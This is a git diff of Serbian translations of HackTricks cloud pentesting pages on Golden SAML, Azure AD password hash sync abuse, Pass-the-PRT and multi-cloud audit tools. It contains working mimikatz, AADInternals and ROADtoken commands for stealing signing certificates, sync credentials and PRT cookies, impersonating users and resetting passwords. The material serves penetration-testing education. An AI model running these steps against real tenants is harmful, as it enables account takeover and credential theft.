FS je model identiteta zasnovan na tvrdnjama. -- "..tvrdnje su jednostavno izjave (na primer, ime, identitet, grupa), koje se daju o korisnicima, a koriste se prvenstveno za autorizaciju pristupa aplikacijama zasnovanim na tvrdnjama smeštenim bilo gde na Internetu." +- "..tvrdnje su jednostavno izjave (na primer, ime, identitet, grupa), koje se daju o korisnicima, a koriste se prvenstveno za autorizaciju pristupa aplikacijama zasnovanim na tvrdnjama smeštenim bilo gde na internetu." - Tvrdnje za korisnika se pišu unutar SAML tokena i zatim se potpisuju kako bi se obezbedila poverljivost od strane IdP-a. - Korisnik se identifikuje pomoću ImmutableID. On je globalno jedinstven i čuva se u Azure AD. - ImmutableID se čuva on-prem kao ms-DS-ConsistencyGuid za korisnika i/ili se može izvesti iz GUID-a korisnika. @@ -49,16 +49,16 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks - U ADFS-u, SAML Response se potpisuje sertifikatom za potpisivanje tokena. - Ako je sertifikat kompromitovan, moguće je autentifikovati se na Azure AD kao BILO KOJI korisnik sinhronizovan sa Azure AD! - Baš kao i naše zlostavljanje PTA, promena lozinke za korisnika ili MFA neće imati nikakav efekat jer falsifikujemo odgovor na autentifikaciju. -- Sertifikat se može izvući sa AD FS servera sa DA privilegijama i zatim se može koristiti sa bilo kog internet povezanog računara. +- Sertifikat se može izvući sa AD FS servera sa DA privilegijama i zatim se može koristiti sa bilo kog računara povezanog na internet. - Više informacija na [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML -Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, **odgovor** može biti **potpisan** ili **šifrovan** koristeći **privatni ključ IdP-a**. Ova procedura omogućava **Provajderu usluga (SP)** da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane poverenog IdP-a. +Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, **odgovor** može biti **potpisan** ili **kriptovan** koristeći **privatni ključ IdP-a**. Ova procedura omogućava **Provajderu usluga (SP)** da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane pouzdanog IdP-a. Može se povući paralela sa [napadom zlatne karte](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za zlatni SAML) može manipulisati da **falsifikuje objekat autentifikacije** (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u. -Zlatni SAML-ovi nude određene prednosti: +Zlatni SAML nudi određene prednosti: - Mogu se **kreirati na daljinu**, bez potrebe da budu deo domena ili federacije u pitanju. - Ostaju efikasni čak i sa **dvofaktorskom autentifikacijom (2FA)** uključenom. @@ -67,23 +67,23 @@ Zlatni SAML-ovi nude određene prednosti: #### AWS + AD FS + Zlatni SAML -[Active Directory Federation Services (AD FS)]() je Microsoftova usluga koja olakšava **sigurnu razmenu informacija o identitetu** između poverenih poslovnih partnera (federacija). U suštini, omogućava usluzi domena da deli identitete korisnika sa drugim provajderima usluga unutar federacije. +[Active Directory Federation Services (AD FS)]() je Microsoftova usluga koja olakšava **sigurnu razmenu informacija o identitetu** između pouzdanih poslovnih partnera (federacija). U suštini, omogućava usluzi domena da deli identitete korisnika sa drugim provajderima usluga unutar federacije. -Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno **dobije bilo kakve dozvole u AWS okruženju**. Napad zahteva **privatni ključ koji se koristi za potpisivanje SAML objekata**, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ. +Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno **dobije bilo koje dozvole u AWS okruženju**. Napad zahteva **privatni ključ koji se koristi za potpisivanje SAML objekata**, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ. -Zahtevi za izvršavanje napada zlatnog SAML-a uključuju: +Zahtevi za izvršavanje napada zlatnog SAML uključuju: - **Privatni ključ za potpisivanje tokena** - **IdP javni sertifikat** - **Ime IdP-a** -- **Ime uloge (uloga koju treba preuzeti)** +- **Ime uloge (uloga koja se preuzima)** - Domen\korisničko ime - Ime sesije uloge u AWS-u -- Amazon ID računa +- Amazon ID naloga _Samo stavke u podebljanom su obavezne. Ostale se mogu popuniti po želji._ -Da biste dobili **privatni ključ**, potreban je pristup **AD FS korisničkom nalogu**. Odatle se privatni ključ može **izvesti iz lične prodavnice** koristeći alate kao što je [mimikatz](https://github.com/gentilkiwi/mimikatz). Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik: +Da biste dobili **privatni ključ**, potreban je pristup **AD FS korisničkom nalogu**. Odatle, privatni ključ se može **izvesti iz lične prodavnice** koristeći alate kao što je [mimikatz](https://github.com/gentilkiwi/mimikatz). Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -133,7 +133,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` -Takođe je moguće kreirati ImmutableID za korisnike koji su samo u oblaku i imitirati ih. +Takođe je moguće kreirati ImmutableID za korisnike koji su samo u cloudu i imitirati ih. ```powershell # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 54c7e129f..e15ded2c6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -11,35 +11,35 @@ To je **najčešća metoda** koju koriste kompanije za sinhronizaciju lokalnog AD sa Azure AD. Svi **korisnici** i **heš heševa lozinki** se sinhronizuju iz lokalnog u Azure AD. Međutim, **lozinke u čistom tekstu** ili **originalni** **heševi** se ne šalju u Azure AD.\ -Štaviše, **ugrađene** bezbednosne grupe (kao što su administratori domena...) se **ne sinhronizuju** u Azure AD. +Štaviše, **ugrađene** bezbednosne grupe (kao što su administratori domena...) **nisu sinhronizovane** u Azure AD. -**Sinhronizacija heševa** se dešava svake **2 minute**. Međutim, prema podrazumevanju, **istek lozinke** i **istek naloga** se **ne sinhronizuju** u Azure AD. Tako, korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku. +**Sinhronizacija heševa** se dešava svake **2 minute**. Međutim, prema zadanim postavkama, **istek lozinke** i **istek naloga** **nisu sinhronizovani** u Azure AD. Tako da korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku. Kada lokalni korisnik želi da pristupi Azure resursu, **autentifikacija se vrši na Azure AD**. **PHS** je potreban za funkcije kao što su **Zaštita identiteta** i AAD usluge domena. -## Pivotiranje +## Prebacivanje -Kada je PHS konfiguran, neka **privilegovana akounta** se automatski **kreiraju**: +Kada je PHS konfigurisan, neka **privilegovana akounta** se automatski **kreiraju**: -- Nalog **`MSOL_`** se automatski kreira u lokalnom AD. Ovaj nalog dobija ulogu **Nalozi za sinhronizaciju direktorijuma** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **dozvole za replikaciju (DCSync) u lokalnom AD**. -- Nalog **`Sync__installationID`** se kreira u Azure AD. Ovaj nalog može **resetovati lozinku BILO kojem korisniku** (sinhronizovanom ili samo u oblaku) u Azure AD. +- Akount **`MSOL_`** se automatski kreira u lokalnom AD. Ovaj akount dobija ulogu **Računa za sinhronizaciju direktorijuma** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **dozvole za replikaciju (DCSync) u lokalnom AD**. +- Akount **`Sync__installationID`** se kreira u Azure AD. Ovaj akount može **resetovati lozinku BILO kojem korisniku** (sinhronizovanom ili samo u oblaku) u Azure AD. -Lozinke dva prethodna privilegovana naloga su **smeštene u SQL server** na serveru gde je **Azure AD Connect instaliran.** Administratori mogu izvući lozinke tih privilegovanih korisnika u čistom tekstu.\ +Lozinke prethodna dva privilegovana akounta su **smeštene u SQL server** na serveru gde je **Azure AD Connect instaliran.** Administratori mogu izvući lozinke tih privilegovanih korisnika u čistom tekstu.\ Baza podataka se nalazi u `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. -Moguće je izvući konfiguraciju iz jedne od tabela, koja je šifrovana: +Moguće je izvući konfiguraciju iz jedne od tabela, pri čemu je jedna šifrovana: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**Šifrovana konfiguracija** je šifrovana sa **DPAPI** i sadrži **lozinke `MSOL_*`** korisnika u lokalnom AD i lozinku **Sync\_\*** u AzureAD. Stoga, kompromitovanjem ovih je moguće privesc do AD i AzureAD. +**Šifrovana konfiguracija** je šifrovana sa **DPAPI** i sadrži **lozinke `MSOL_*`** korisnika u lokalnom AD i lozinku **Sync\_\*** u AzureAD. Stoga, kompromitovanjem ovih je moguće dobiti privilegije u AD i AzureAD. -Možete pronaći [potpun pregled o tome kako su ove akreditive smeštene i dešifrovane u ovom predavanju](https://www.youtube.com/watch?v=JEIR5oGCwdg). +Možete pronaći [potpun pregled o tome kako su ove akreditive pohranjene i dešifrovane u ovom predavanju](https://www.youtube.com/watch?v=JEIR5oGCwdg). ### Pronalaženje **Azure AD connect servera** -Ako je **server na kojem je instaliran Azure AD connect** pridružen domenu (preporučeno u dokumentima), moguće ga je pronaći sa: +Ako je **server na kojem je instaliran Azure AD connect** pridružen domenu (preporučeno u dokumentima), moguće je pronaći ga sa: ```powershell # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` -### Zloupotreba MSOL\_* +### Zloupotreba MSOL\_\* ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -91,10 +91,10 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -Moguće je izvući lozinku ovog korisnika. +Takođe je moguće izvući lozinku ovog korisnika. > [!CAUTION] -> Druga opcija bi bila da **dodelite privilegovane dozvole servisnom principalu**, što **Sync** korisnik ima **dozvole** da uradi, a zatim **pristupite tom servisnom principalu** kao način privesc. +> Druga opcija bi bila da **dodelite privilegovane dozvole servisnom principalu**, što korisnik **Sync** ima **dozvole** da uradi, a zatim **pristupite tom servisnom principalu** kao način za privesc. ### Seamless SSO @@ -104,7 +104,7 @@ Moguće je koristiti Seamless SSO sa PHS, koji je podložan drugim zloupotrebama seamless-sso.md {{#endref}} -## References +## Reference - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 31c82879e..17e1dc99e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -34,11 +34,11 @@ PRT kolačić se zapravo zove **`x-ms-RefreshTokenCredential`** i to je JSON Web "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -**Primarni osvežavajući token (PRT)** je enkapsuliran unutar **`refresh_token`**, koji je enkriptovan ključem pod kontrolom Azure AD, čime su njegovi sadržaji neprozirni i nekriptovani za nas. Polje **`is_primary`** označava enkapsulaciju primarnog osvežavajućeg tokena unutar ovog tokena. Da bi se osiguralo da kolačić ostane vezan za specifičnu sesiju prijavljivanja za koju je namenjen, `request_nonce` se prenosi sa stranice `logon.microsoftonline.com`. +Aktuelni **Primary Refresh Token (PRT)** je enkapsuliran unutar **`refresh_token`**, koji je enkriptovan ključem pod kontrolom Azure AD, čineći njegov sadržaj neprozirnim i ne dekriptabilnim za nas. Polje **`is_primary`** označava enkapsulaciju primarnog refresh tokena unutar ovog tokena. Da bi se osiguralo da kolačić ostane vezan za specifičnu sesiju prijavljivanja za koju je namenjen, `request_nonce` se prenosi sa stranice `logon.microsoftonline.com`. -### Tok PRT kolačića koristeći TPM +### PRT Kolačić tok koristeći TPM -Proces **LSASS** će poslati **KDF kontekst** TPM-u, a TPM će koristiti **session key** (prikupljen kada je uređaj registrovan u AzureAD i sačuvan u TPM-u) i prethodni kontekst da **izvede** **ključ**, a ovaj **izvedeni ključ** se koristi za **potpisivanje PRT kolačića (JWT).** +**LSASS** proces će poslati TPM-u **KDF kontekst**, a TPM će koristiti **session key** (prikupljen kada je uređaj registrovan u AzureAD i sačuvan u TPM-u) i prethodni kontekst da **izvede** **ključ**, a ovaj **izvedeni ključ** se koristi za **potpisivanje PRT kolačića (JWT).** **KDF kontekst je** nonce iz AzureAD i PRT koji stvara **JWT** pomešan sa **kontekstom** (nasumični bajtovi). @@ -46,18 +46,18 @@ Stoga, čak i ako PRT ne može biti ekstrahovan jer se nalazi unutar TPM-a, mogu
-## Scenariji zloupotrebe PRT-a +## PRT Zloupotreba Scenariji Kao **običan korisnik** moguće je **zatražiti korišćenje PRT-a** tražeći od LSASS-a SSO podatke.\ -To se može uraditi kao **nativne aplikacije** koje traže tokene od **Web Account Manager** (token broker). WAM prosleđuje zahtev **LSASS-u**, koji traži tokene koristeći potpisanu PRT tvrdnju. Ili se može uraditi sa **tokovima zasnovanim na pretraživaču (web)** gde se **PRT kolačić** koristi kao **zaglavlje** za autentifikaciju zahteva za Azure AS stranice za prijavu. +To se može uraditi kao **nativne aplikacije** koje traže tokene od **Web Account Manager** (token broker). WAM prosleđuje zahtev **LSASS-u**, koji traži tokene koristeći potpisanu PRT tvrdnju. Ili se može uraditi sa **tokovima zasnovanim na pretraživaču (web)** gde se **PRT kolačić** koristi kao **header** za autentifikaciju zahteva ka Azure AS stranicama za prijavu. Kao **SYSTEM** mogli biste **ukrasti PRT ako nije zaštićen** TPM-om ili **interagovati sa PRT ključevima u LSASS-u** koristeći kripto API-je. -## Primeri napada Pass-the-PRT +## Pass-the-PRT Napad Primeri ### Napad - ROADtoken -Za više informacija o ovom načinu [**proverite ovu objavu**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken će pokrenuti **`BrowserCore.exe`** iz pravog direktorijuma i koristiti ga da **dobije PRT kolačić**. Ovaj kolačić se zatim može koristiti sa ROADtools za autentifikaciju i **dobijanje trajnog osvežavajućeg tokena**. +Za više informacija o ovom načinu [**proverite ovaj post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken će pokrenuti **`BrowserCore.exe`** iz pravog direktorijuma i koristiti ga da **dobije PRT kolačić**. Ovaj kolačić se zatim može koristiti sa ROADtools za autentifikaciju i **dobijanje trajnog refresh tokena**. Da biste generisali važeći PRT kolačić, prva stvar koja vam je potrebna je nonce.\ Možete to dobiti sa: @@ -80,11 +80,11 @@ Ili korišćenjem [**roadrecon**](https://github.com/dirkjanm/ROADtools): ```powershell roadrecon auth prt-init ``` -Zatim možete koristiti [**roadtoken**](https://github.com/dirkjanm/ROADtoken) da dobijete novi PRT (pokrenite alat iz procesa korisnika koji napadate): +Zatim možete koristiti [**roadtoken**](https://github.com/dirkjanm/ROADtoken) da dobijete novi PRT (pokrenite u alatu iz procesa korisnika koji napadate): ```powershell .\ROADtoken.exe ``` -Kao oneliner: +Kao jedinstvena linija: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` @@ -152,9 +152,9 @@ Zatim idite na [https://portal.azure.com](https://portal.azure.com) #### Koraci -1. **PRT (Primarni osvežavajući token) se izvlači iz LSASS** (Servis podsystema lokalne bezbednosti) i čuva za kasniju upotrebu. -2. **Ključ sesije se zatim izvlači**. S obzirom na to da se ovaj ključ inicijalno izdaje, a zatim ponovo enkriptuje od strane lokalnog uređaja, neophodno je dekriptovati ga koristeći DPAPI master ključ. Detaljne informacije o DPAPI (API za zaštitu podataka) možete pronaći u ovim resursima: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) i za razumevanje njegove primene, pogledajte [Napad Pass-the-cookie](az-pass-the-cookie.md). -3. Nakon dekripcije Ključa sesije, **dobijaju se derivirani ključ i kontekst za PRT**. Ovi su ključni za **kreiranje PRT kolačića**. Konkretno, derivirani ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno [ovde](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). +1. **PRT (Primarni osvežavajući token) se izvlači iz LSASS** (Servis lokalne bezbednosne vlasti) i čuva za kasniju upotrebu. +2. **Ključ sesije se zatim izvlači**. S obzirom na to da se ovaj ključ prvobitno izdaje, a zatim ponovo enkriptuje od strane lokalnog uređaja, neophodno je dešifrovanje pomoću DPAPI glavnog ključa. Detaljne informacije o DPAPI (API za zaštitu podataka) možete pronaći u ovim resursima: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), a za razumevanje njegove primene, pogledajte [Napad na kolačić](az-pass-the-cookie.md). +3. Nakon dešifrovanja Ključa sesije, **dobijaju se derivirani ključ i kontekst za PRT**. Ovi su ključni za **kreiranje PRT kolačića**. Konkretno, derivirani ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno [ovde](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] > Imajte na umu da ako je PRT unutar TPM-a i nije unutar `lsass`, **mimikatz neće moći da ga izvuče**.\ @@ -163,9 +163,9 @@ Zatim idite na [https://portal.azure.com](https://portal.azure.com) Možete pronaći **detaljno objašnjenje izvršenog procesa** za ekstrakciju ovih detalja ovde: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> Ovo neće tačno raditi nakon ispravki iz avgusta 2021. za dobijanje PRT tokena drugih korisnika, jer samo korisnik može dobiti svoj PRT (lokalni administrator ne može pristupiti PRT-ima drugih korisnika), ali može pristupiti svom. +> Ovo neće tačno raditi nakon ispravki iz avgusta 2021. za dobijanje PRT tokena drugih korisnika, jer samo korisnik može dobiti svoj PRT (lokalni administrator ne može pristupiti PRT-ovima drugih korisnika), ali može pristupiti svom. -Možete koristiti **mimikatz** za ekstrakciju PRT: +Možete koristiti **mimikatz** za ekstrakciju PRT-a: ```powershell mimikatz.exe Privilege::debug @@ -184,17 +184,17 @@ Izvucite takođe sesijski ključ (**`KeyValue`** polja **`ProofOfPossesionKey`**
-> [!NOTE] +> [!NAPOMENA] > Ako ne vidite nikakve PRT podatke, može biti da **nemate nikakve PRT-ove** jer vaš uređaj nije povezan sa Azure AD ili može biti da **koristite staru verziju** Windows 10. -Da biste **dekriptovali** sesijski ključ, potrebno je da **povećate** svoja ovlašćenja na **SYSTEM** da biste radili pod kontekstom računara kako biste mogli da koristite **DPAPI master ključ za dekriptovanje**. Možete koristiti sledeće komande da to uradite: +Da biste **dekriptovali** sesijski ključ, potrebno je da **povećate** svoja prava na **SYSTEM** kako biste radili pod kontekstom računara i mogli da koristite **DPAPI master ključ za dekriptovanje**. Možete koristiti sledeće komande da to uradite: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect ```
-#### Opcija 1 - Full Mimikatz +#### Opcija 1 - Potpuni Mimikatz - Sada želite da kopirate i Context vrednost: @@ -228,7 +228,7 @@ HttpOnly: Set to True (checked) ```bash roadtx prt -a renew --prt --prt-sessionkey ``` -- Sada možemo **zatražiti tokene** koristeći interaktivni pregledač sa `roadtx browserprtauth`. Ako koristimo komandu `roadtx describe`, vidimo da pristupni token uključuje MFA zahtev jer je PRT koji sam koristio u ovom slučaju takođe imao MFA zahtev. +- Sada možemo **zatražiti tokene** koristeći interaktivni pregledač sa `roadtx browserprtauth`. Ako koristimo komandu `roadtx describe`, vidimo da pristupni token uključuje MFA tvrdnju jer je PRT koji sam koristio u ovom slučaju takođe imao MFA tvrdnju. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 7ef1cc2b7..3a7c67329 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -1,7 +1,7 @@ -# Az - Permissions for a Pentest +# Az - Dozvole za Pentest {{#include ../../banners/hacktricks-training.md}} -Da biste započeli testove, trebali biste imati pristup sa korisnikom koji ima **Reader permissions over the subscription** i **Global Reader role in AzureAD**. Ako čak ni u tom slučaju **niste u mogućnosti da pristupite sadržaju Storage accounts**, možete to popraviti sa **role Storage Account Contributor**. +Da biste započeli testove, trebali biste imati pristup sa korisnikom koji ima **Reader dozvole za pretplatu** i **Global Reader ulogu u AzureAD**. Ako čak ni u tom slučaju **niste u mogućnosti da pristupite sadržaju Storage naloga**, možete to popraviti sa **ulogom Storage Account Contributor**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 5c9930e7b..d361ea61e 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -4,7 +4,7 @@
-## Basic Methodology +## Osnovna metodologija Svaka cloud platforma ima svoje specifičnosti, ali generalno postoji nekoliko **zajedničkih stvari koje pentester treba da proveri** prilikom testiranja cloud okruženja: @@ -12,11 +12,11 @@ Svaka cloud platforma ima svoje specifičnosti, ali generalno postoji nekoliko * - Ovo će vam pomoći da **razumete veličinu** okruženja i **usluge koje se koriste** - Takođe će vam omogućiti da pronađete neke **brze greške u konfiguraciji** jer većinu ovih testova možete izvršiti pomoću **automatskih alata** - **Enumeracija usluga** -- Verovatno nećete pronaći mnogo više grešaka u konfiguraciji ovde ako ste pravilno izvršili provere standarda, ali mogli biste pronaći neke koje nisu bile tražene u testu standarda. +- Verovatno nećete pronaći mnogo više grešaka u konfiguraciji ovde ako ste pravilno izvršili testove standarda, ali mogli biste pronaći neke koje nisu bile tražene u testu standarda. - Ovo će vam omogućiti da znate **šta se tačno koristi** u cloud okruženju - Ovo će mnogo pomoći u sledećim koracima - **Proverite izložene resurse** -- Ovo se može uraditi tokom prethodne sekcije, potrebno je da **otkrijete sve što je potencijalno izloženo** internetu i kako se može pristupiti. +- Ovo se može uraditi tokom prethodne sekcije, potrebno je da **otkrijete sve što je potencijalno izloženo** internetu i kako može biti pristupljeno. - Ovde mislim na **ručno izloženu infrastrukturu** kao što su instance sa web stranicama ili drugi portovi koji su izloženi, kao i na druge **cloud upravljane usluge koje se mogu konfigurisati** da budu izložene (kao što su DB-ovi ili bucket-i) - Zatim treba da proverite **da li taj resurs može biti izložen ili ne** (povjerljive informacije? ranjivosti? greške u konfiguraciji izložene usluge?) - **Proverite dozvole** @@ -24,21 +24,21 @@ Svaka cloud platforma ima svoje specifičnosti, ali generalno postoji nekoliko * - Previše **visoko privilegovanih** (kontrolišu sve) naloga? Generisani ključevi koji se ne koriste?... Većina ovih provera bi već trebala biti izvršena u testovima standarda - Ako klijent koristi OpenID ili SAML ili neku drugu **federaciju**, možda ćete morati da ih pitate za dodatne **informacije** o tome **kako se dodeljuju svake uloge** (nije isto da je admin uloga dodeljena 1 korisniku ili 100) - **Nije dovoljno pronaći** koji korisnici imaju **admin** dozvole "\*:\*". Postoji mnogo **drugih dozvola** koje, u zavisnosti od korišćenih usluga, mogu biti veoma **osetljive**. -- Štaviše, postoje **potencijalni putevi za eskalaciju privilegija** koji se mogu iskoristiti zloupotrebom dozvola. Sve ove stvari treba uzeti u obzir i **prijaviti što više puteva za eskalaciju privilegija**. +- Štaviše, postoje **potencijalni putevi za privesc** koje treba pratiti zloupotrebom dozvola. Sve ove stvari treba uzeti u obzir i **što više puteva za privesc koliko je moguće** treba prijaviti. - **Proverite integracije** - Veoma je verovatno da se **integracije sa drugim cloud-ovima ili SaaS** koriste unutar cloud okruženja. -- Za **integracije clouda koji audirate** sa drugim platformama, trebate obavestiti **ko ima pristup (zloupotrebu) toj integraciji** i trebate pitati **kako je osetljiva** akcija koja se izvršava.\ +- Za **integracije clouda koji audirate** sa drugom platformom, trebate obavestiti **ko ima pristup da (zlo)upotrebi tu integraciju** i trebate pitati **kako je osetljiva** akcija koja se vrši.\ Na primer, ko može da piše u AWS bucket gde GCP dobija podatke (pitajte koliko je osetljiva akcija u GCP-u koja se bavi tim podacima). -- Za **integracije unutar clouda koji audirate** sa eksternih platformi, trebate pitati **ko ima eksterni pristup (zloupotrebu) toj integraciji** i proveriti kako se ti podaci koriste.\ +- Za **integracije unutar clouda koji audirate** sa eksternih platformi, trebate pitati **ko ima eksterni pristup da (zlo)upotrebi tu integraciju** i proveriti kako se ti podaci koriste.\ Na primer, ako usluga koristi Docker sliku hostovanu u GCR, trebate pitati ko ima pristup da to izmeni i koje osetljive informacije i pristup će ta slika dobiti kada se izvrši unutar AWS clouda. -## Multi-Cloud tools +## Multi-Cloud alati -Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovoj sekciji. +Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi će biti navedeni u ovoj sekciji. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Alat za **identifikaciju loših konfiguracija i puteva za eskalaciju privilegija u cloud-ovima i između cloud/SaaS.** +Alat za **identifikaciju loših konfiguracija i puteva za privesc u cloud-ovima i između cloud/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -91,7 +91,7 @@ prowler --list-services AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Instalacija" }} +{{#tab name="Install" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -242,7 +242,7 @@ Nessus ima _**Audit Cloud Infrastructure**_ skeniranje koje podržava: AWS, Azur ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist je **multi-cloud alat za dobijanje resursa** (Hostname, IP adrese) od Cloud provajdera. +Cloudlist je **multi-cloud alat za dobijanje resursa** (Hostnames, IP adrese) od Cloud provajdera. {{#tabs }} {{#tab name="Cloudlist" }} @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Otkrivanje najprivilegovanijih korisnika u skeniranoj AWS ili Azure sredini, uključujući AWS Shadow Admins. Koristi powershell. +Otkrivanje najprivilegovanijih korisnika u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell. ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -376,11 +376,11 @@ Alat za pronalaženje infrastrukture, fajlova i aplikacija kompanije (meta) na v ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox je alat za pronalaženje iskoristivih puteva napada u cloud infrastrukturi (trenutno podržani samo AWS i Azure, GCP dolazi uskoro). +- CloudFox je alat za pronalaženje eksploatabilnih putanja napada u cloud infrastrukturi (trenutno podržani samo AWS i Azure, GCP dolazi uskoro). - To je alat za enumeraciju koji 